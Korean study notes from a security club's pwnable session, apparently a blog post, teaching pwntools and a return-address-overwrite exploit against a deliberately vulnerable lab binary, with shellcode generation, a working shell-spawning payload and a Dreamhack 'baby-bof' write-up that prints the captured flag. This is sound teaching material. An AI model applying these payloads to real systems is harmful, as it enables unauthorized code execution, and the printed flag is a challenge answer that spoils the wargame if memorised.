[EVI$ION 7기] 7주차 Pwnable

김예원·2024년 11월 28일

1. Calling Convention Quiz

Q1)

Q2)

Q3)

Q4)

Q5)

Q6)

Q7)

2. pwntools & Exploit Tech: Return Address Overwrite 정리

(1) pwntools

a. pwntools의 등장 배경
🚩 파이썬으로 공격 페이로드를 생성하고, 파이프를 통해 이를 프로그램에 전달하는 방식으로 익스플로잇을 수행

ex) 공격 페이로드 코드

$ (python -c "print 'A'*0x30 + 'B'*0x8 + '\xa7\x05\x40\x00\x00\x00\x00\x00'";cat)| ./rao

하지만 익스플로잇이 조금만 복잡해져도 이런 방식은 사용하기 어려움.
-> 복잡한 연산 및 프로세스와 반복적으로 데이터를 주고받기를 통해 페이로드 생성해야 함. 따라서 펄, 파이썬, C언어 등으로 익스플로잇 스크립트, 또는 바이너리를 제작하여 사용.

ex) socket 모듈을 사용한 초기 파이썬 익스플로잇 스크립트

#!/usr/bin/env python2
import socket

# Remote host and port
RHOST = '127.0.0.1'
RPORT = 31337

# Make TCP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))

# Build payload
payload = ''
payload += 'Socket script'
payload += '\n'

# Send payload
s.send(payload)

# Print received data
data = s.recv(1024)
print 'Received: {0}'.format(data)

패킹 함수(정수를 리틀 엔디언의 바이트 배열로 바꿔줌), 언패킹 함수같은 자주 사용하는 함수들을 반복적으로 구현하는 것은 비효율적
--> 이런 함수들을 집대성한 것이 pwntools 라는 파이썬 모듈

ex) pwntools를 사용한 익스플로잇 스크립트

#!/usr/bin/env python3
from pwn import *

# Make TCP connection
r = remote('127.0.0.1', 31337)

# Build payload
payload = b''
payload += b'Socket script'
payload += b'\n'

# Send payload
r.send(payload)

# Print received data
data = r.recv(1024)
print(f'Received: {data}')

b. pwntools 설치

https://github.com/Gallopsled/pwntools

  • pwntools 설치
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
  • pwntools 임포트
$ python3
Python 3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>>

c. pwntools API 사용법
(pwntools 공식매뉴얼) https://docs.pwntools.com/en/latest/

*test는 임의의 바이너리이며, process 객체를 대상으로 사용한 모든 함수는 remote 객체에서도 사용 가능

  1. process & remote
    process 함수: 익스플로잇을 로컬 바이너리를 대상으로 할 때 사용하는 함수. 익스플로잇을 테스트하고 디버깅하기 위해 사용
    remote 함수: 원격 서버를 대상으로 할 때 사용하는 함수. 대상 서버를 실제로 공격하기 위해 사용

ex)

from pwn import *
p = process('./test')  # 로컬 바이너리 'test'를 대상으로 익스플로잇 수행
p = remote('example.com', 31337)  # 'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행
  1. send
    send: 데이터를 프로세스에 전송하기 위해 사용. pwntools에 관련된 다양한 함수가 정의되어 있음.

ex)

rom pwn import *
p = process('./test')

p.send(b'A')  # ./test에 b'A'를 입력
p.sendline(b'A') # ./test에 b'A' + b'\n'을 입력
p.sendafter(b'hello', b'A')  # ./test가 b'hello'를 출력하면, b'A'를 입력
p.sendlineafter(b'hello', b'A')  # ./test가 b'hello'를 출력하면, b'A' + b'\n'을 입력
  1. recv
    recv: 프로세스에서 데이터를 받기 위해 사용. pwntools에 관련된 다양한 함수가 정의되어 있음.
from pwn import *
p = process('./test')

data = p.recv(1024)  # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장
data = p.recvline()  # p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장
data = p.recvn(5)  # p가 출력하는 데이터를 5바이트만 받아서 data에 저장
data = p.recvuntil(b'hello')  # p가 b'hello'를 출력할 때까지 데이터를 수신하여 data에 저장
data = p.recvall()  # p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장

--> recv()와 recvn()의 차이점 확인. recv(n)은 최대 n 바이트를 받는 것이므로 그만큼을 받지 못해도 에러를 발생시키지 않지만, recvn(n)의 경우 정확히 n 바이트의 데이터를 받지 못하면 계속 기다림.

  1. packing & unpacking
    어떤 값을 리틀 엔디언의 바이트 배열로 변경하거나, 역의 과정을 거쳐야 하는 경우가 자주 있음. pwntools에 관련된 함수들이 정의되어 있음~
#!/usr/bin/env python3
\# Name: pup.py

from pwn import *

s32 = 0x41424344
s64 = 0x4142434445464748

print(p32(s32))
print(p64(s64))

s32 = b"ABCD"
s64 = b"ABCDEFGH"

print(hex(u32(s32)))
print(hex(u64(s64)))
$ python3 pup.py
b'DCBA'
b'HGFEDCBA'
0x44434241
0x4847464544434241
  1. interactive
    셸을 획득했거나, 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용하는 함수. 호출하고 나면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력을 확인할 수 있음.
from pwn import *
p = process('./test')
p.interactive()
  1. ELF
    ELF 헤더에는 익스플로잇에 사용될 수 있는 각종 정보가 기록되어있음. (pwntools를 사용하면 쉽게 참조 가능)
from pwn import *
e = ELF('./test')
puts_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts_plt에 저장
read_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read_got에 저장
  1. context.log
    익스플로잇에 버그가 발생하면 익스플로잇도 디버깅해야함. pwntools에는 로깅 기능 존재(디버그의 편의를 위한), (로그 레벨은 context.log_level 변수로 조절)
from pwn import *
context.log_level = 'error' # 에러만 출력
context.log_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력
context.log_level = 'info'  # 비교적 중요한 정보들만 출력
  1. context.arch
    pwntools는 셸코드를 생성하거나, 코드를 어셈블, 디스어셈블하는 기능 등을 가지고 있는데, 이들은 공격 대상의 아키텍처에 영향을 받음.
    -> pwntools는 아키텍처 정보를 프로그래머가 지정할 수 있게 하며, 이 값에 따라 몇몇 함수들의 동작이 달라지기도 함.
from pwn import *
context.arch = "amd64" # x86-64 아키텍처
context.arch = "i386"  # x86 아키텍처
context.arch = "arm"   # arm 아키텍처
  1. shellcraft
    pwntools의 기능은 편리하지만, 정적으로 생성된 셸 코드는 셸 코드가 실행될 때의 메모리 상태를 반영하지 못하는 문제가 있음. 또한 프로그램에 따라 입력할 수 있는 셸 코드의 길이나, 구성 가능한 문자의 종류에 제한이 있을 수 있는데, 이런 조건들도 반영하기 어려움.
    -> 제약 조건이 존재하는 상황에서는 직접 셸 코드를 작성하는 것이 좋음.

(x86-64를 대상, 생성 가능한 여러 종류의 셸 코드) https://docs.pwntools.com/en/stable/shellcraft/amd64.html

#!/usr/bin/env python3
\# Name: shellcraft.py

from pwn import *
context.arch = 'amd64' # 대상 아키텍처 x86-64

code = shellcraft.sh() # 셸을 실행하는 셸 코드 
print(code)
 
$ python3 shellcraft.py
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    ...
    syscall
  1. asm
    pwntools는 어셈블 기능 제공. 이 기능도 대상 아키텍처가 중요해서 아키텍처를 미리 지정해야 함.
#!/usr/bin/env python3
\# Name: asm.py

from pwn import *
context.arch = 'amd64' # 익스플로잇 대상 아키텍처 'x86-64'

code = shellcraft.sh() # 셸을 실행하는 셸 코드
code = asm(code)       # 셸 코드를 기계어로 어셈블
print(code)
$ python3 asm.py
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'

d. pwntools 실습

  • rao 익스플로잇

ex) c 예제 코드

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

pwntools로 rao 익스플로잇

#!/usr/bin/python3
#Name: rao.py

from pwn import *          # Import pwntools module

p = process('./rao')       # Spawn process './rao'

elf = ELF('./rao')
get_shell = elf.symbols['get_shell']       # The address of get_shell()

payload = b'A'*0x30        #|       buf      |  <= 'A'*0x30
payload += b'B'*0x8        #|       SFP      |  <= 'B'*0x8
payload += p64(get_shell)  #| Return address |  <= '\xaa\x06\x40\x00\x00\x00\x00\x00'

p.sendline(payload)        # Send payload to './rao'

p.interactive()            # Communicate with shell
$ python3 rao.py
[+] Starting local process './rao': pid 416
[*] Switching to interactive mode
$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack) ...

(2) Exploit Tech: Return Address Overwrite

  • 스택 버퍼 오버플로우가 발생하면 반환 주소(Return Address)가 조작될 수 있는 취약점이 존재하는 예제 프로그램을 공격하고, 셸을 획득해보는 실습

반환 주소 덮기 실습 예제)

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

a. 분석 - 취약점 분석
프로그램의 취약점은 scanf(“%s”, buf)에 있음. scanf함수의 포맷 스트링 중 하나인 %s는 입력의 길이 제한이 없고, 공백 문자인 띄어쓰기/탭/개행 문자 등이 들어올 때까지 계속 입력을 받음.
-> 실수로 또는 악의적으로 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우 발생.
-->정확히 n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 함.

  • 이외에도 C/C++의 표준 함수 중 버퍼를 다루면서 길이를 입력하지 않는 함수들은 대부분 위험함. ex) strcpy, strcat,sprintf
    따라서 코드를 작성할 때는 버퍼의 크기를 같이 입력하는 strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 좋음.

  • C/C++의 문자열 종결자(Terminator)와 표준 문자열 함수들의 취약성
    C계열 언어에서는 널바이트(“\x00”)로 종료되는 데이터 배열을 문자열로 취급하며, 문자열을 다루는 대부분의 표준 함수는 널바이트를 만날 때까지 연산을 진행함.
    근데 이때 src에 널바이트가 없을 경우?
    문자열 함수는 널바이트를 찾을 때까지 배열을 참조하므로, 코드를 작성할 때 정의한 배열의 크기를 넘어서도 계속해서 인덱스를 증가시킴. 이렇게 참조하려는 인덱스 값이 배열의 크기보다 커지는 현상이 Index Out-Of-Bound(OOB). 그리고 해당 버그를 발생시키는 취약점이 Out-Of-Bound(OOB)취약점. -> 해커는 프로그래머가 의도하지 않은 주소의 데이터를 읽거나 조작할 수 있고 몇몇 조건이 만족되면 소프트웨어에 심각한 오동작을 일으킬 수도 있음.
    -> 입력의 길이를 제한하는 문자열 함수를 사용, 문자열을 사용할 때는 반드시 해당 문자열이 널바이트로 종결되는지 확인해야 함.

결론) 크기가 0x28인 버퍼에 scanf(“%s”, buf)로 입력을 받으므로, 입력을 길게 준다면 버퍼 오버플로우를 발생시켜서 main함수의 반환 주소를 덮을 수 있음.

b. 분석 - 트리거

“A”를 5개 입력)

$ gcc -o rao rao.c -fno-stack-protector -no-pie
$ ./rao
Input: AAAAA
$

프로그램 정상 종료

“A”를 64개 입력)

$ ./rao
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1]    1828520 segmentation fault (core dumped)  ./rao

Segmentation fault라는 에러가 출력, 프로그램 비정상적으로 종료됩
(core dumped)는 코어파일(core)을 생성했다는 것, 프로그램이 비정상 종료됐을 때 디버깅을 돕기 위해 운영체제가 생성해주는 것.
(+ Ubuntu 20.04 버전 이상은 기본적으로 /var/lib/apport/coredump 디렉토리에 코어 파일을 생성)

a. 분석 - 코어 파일 분석
gdb의 코어 파일을 분석하는 기능 사용
-> 입력이 스택에 어떻게 저장됐는지 확인, 셸을 획득하기 위한 시나리오 작성할 것.

코어 파일 열기)
-> 프로그램이 종료된 원인, 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 보여줌.

$ gdb rao -c core.1828876
...
Could not check ASLR: Couldn't get personality
Core was generated by `./rao'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x0000000000400729 in main ()
...
pwndbg>

프로그램이 main함수에서 반환하려고 하는데, 스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141('AAAAAAAA')임.
-> 이는 실행가능한 메모리의 주소가 아니므로 세그먼테이션 폴트가 발생한 것. 이 값이 원하는 코드 주소가 되도록 적절한 입력을 주면, main함수에서 반환될 때 원하는 코드가 실행되도록 조작할 수 있을 것임.


──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
 ► 0x400729 <main+65>    ret    <0x4141414141414141>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffc86322f8 ◂— 'AAAAAAAA'
01:0008│     0x7fffc8632300 ◂— 0x0
02:0010│     0x7fffc8632308 —▸ 0x4006e8 (main) ◂— push rbp
03:0018│     0x7fffc8632310 ◂— 0x100000000
04:0020│     0x7fffc8632318 —▸ 0x7fffc8632408 —▸ 0x7fffc86326f0 ◂— 0x434c006f61722f2e /* './rao' */
05:0028│     0x7fffc8632320 ◂— 0x0
06:0030│     0x7fffc8632328 ◂— 0x14b87e10e2771087
07:0038│     0x7fffc8632330 —▸ 0x7fffc8632408 —▸ 0x7fffc86326f0 ◂— 0x434c006f61722f2e /* './rao' */

b. 익스플로잇 - 스택 프레임 구조 파악
우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사해야 함. 이를 위해 main의 어셈블리 코드 조사. scanf에 인자를 전달하는 부분을 주목

pwndbg> nearpc
   0x400706             call   printf@plt 
   0x40070b             lea    rax, [rbp - 0x30]
   0x40070f             mov    rsi, rax
   0x400712             lea    rdi, [rip + 0xab]
   0x400719             mov    eax, 0
 ► 0x40071e             call   __isoc99_scanf@plt <__isoc99_scanf @plt>
        format: 0x4007c4 ◂— 0x3b031b0100007325 /* '%s' */
        vararg: 0x7fffffffe2e0 ◂— 0x0
...
pwndbg> x/s 0x4007c4
0x4007c4:       "%s"

scanf("%s", (rbp-0x30));
오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치함.
스택 프레임의 구조를 떠올려 보면 rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8에는 반환 주소가 저장됨. 입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있으므로 그만큼을 쓰레기 값(dummy data)으로 채우고, 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있음.

b. 익스플로잇 - get_shell() 주소 확인
셸을 실행해주는 get_shell() 함수의 주소로 main함수의 반환 주소를 덮어서 셸을 획득할 수 있음.

void get_shell(){
   char *cmd = "/bin/sh";
   char *args[] = {cmd, NULL};
   execve(cmd, args, NULL);
}

get_shell()의 주소를 찾기 위해 gdb 사용)

$ gdb rao -q
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x4006aa <get_shell>
pwndbg> quit

get_shell()의 주소가 0x4006aa임을 확인 가능

b. 익스플로잇 - 페이로드 구성
익스플로잇에 사용할 페이로드(Payload, 공격을 위해 프로그램에 전달하는 데이터) 구성.

b. 익스플로잇 - 엔디언 적용
구성한 페이로드는 대상 시스템의 엔디언(Endian)을 고려해서 프로그램에 전달해야 함. 현재는 리틀 엔디언을 사용하는 인텔 x86-64아키텍처가 대상이므로, get_shell()의 주소인 0x4006aa은 “\xaa\x06\x40\x00\x00\x00\x00\x00”로 전달돼야 함.

엔디언: 메모리에서 데이터가 정렬되는 방식. 주로 리틀 엔디언(Little-Endian, LE, 데이터의 Most Significant Byte(MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장)과 빅 엔디언(Big-Endian, BE, 데이터의 MSB가 가장 낮은 주소에 저장) 사용.

엔디언에 따른 메모리 저장 방식)

// Name: endian.c
// Compile: gcc -o endian endian.c
#include <stdio.h>
int main() {
  unsigned long long n = 0x4006aa;
  printf("Low <-----------------------> High\n");
  for (int i = 0; i < 8; i++) printf("0x%hhx ", *((unsigned char*)(&n) + i));
  return 0;
}
$ ./endian
Low <-----------------------> High
0xaa 0x6 0x40 0x0 0x0 0x0 0x0 0x0

b. 익스플로잇 - 셸 획득
엔디언을 적용하여 페이로드를 작성하고, 이를 다음의 커맨드로 rao에 전달하면 셸을 획득할 수 있음. 파이썬으로 출력한 페이로드를 rao의 입력으로 전달.

$ (python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
$ id
id
uid=1000(rao) gid=1000(rao) groups=1000(rao)

성공적으로 셸 획득 성공!

3. baby-bof https://dreamhack.io/wargame/challenges/974

// gcc -o baby-bof baby-bof.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <signal.h>
#include <time.h>

void proc_init ()
{
  setvbuf (stdin, 0, 2, 0); setvbuf (stdout, 0, 2, 0);
  setvbuf (stderr, 0, 2, 0);
}

void win () 
{
  char flag[100] = {0,};
  int fd;
  puts ("You mustn't be here! It's a vulnerability!");

  fd = open ("./flag", O_RDONLY);
  read(fd, flag, 0x60);
  puts(flag);
  exit(0);
}

long count;
long value;
long idx = 0;
int main ()
{
  char name[16];

  // don't care this init function
  proc_init (); 

  printf ("the main function doesn't call win function (0x%lx)!\n", win); //win 함수의 주소 알려줌!

  printf ("name: ");
  scanf ("%15s", name);

  printf ("GM GA GE GV %s!!\n: ", name);

  printf ("|  addr\t\t|  value\t\t|\n");
  for (idx = 0; idx < 0x10; idx++) {
    printf ("|  %lx\t|  %16lx\t|\n", name + idx *8, *(long*)(name + idx*8));
  }

  printf ("hex value: ");
  scanf ("%lx%c", &value);

  printf ("integer count: ");
  scanf ("%d%c", &count);


  for (idx = 0; idx < count; idx++) {
    *(long*)(name+idx*8) = value;
  }

  
  printf ("|  addr\t\t|  value\t\t|\n");
  for (idx = 0; idx < 0x10; idx++) {
    printf ("|  %lx\t|  %16lx\t|\n", name + idx *8, *(long*)(name + idx*8));
  }

  return 0;
}



보면 name을 입력받고 있고, 입력한 값이 | 7ffc19b94de0 | 7ffc19b94de8 | stack 안에 저장된다.
그 stack 안의 값을 win 함수 주소 값으로 대체해야 한다.


리턴 주소인 7ffc19b94df8를 win 함수 주소인 0x40125b로 바꾸면 win 함수가 호출되어 flag를 확인할 수 있다.

DH{62228e6f20a8b71372f0eceb51537c7f94b8191651ea0636ed4e48857c5b340c}

0개의 댓글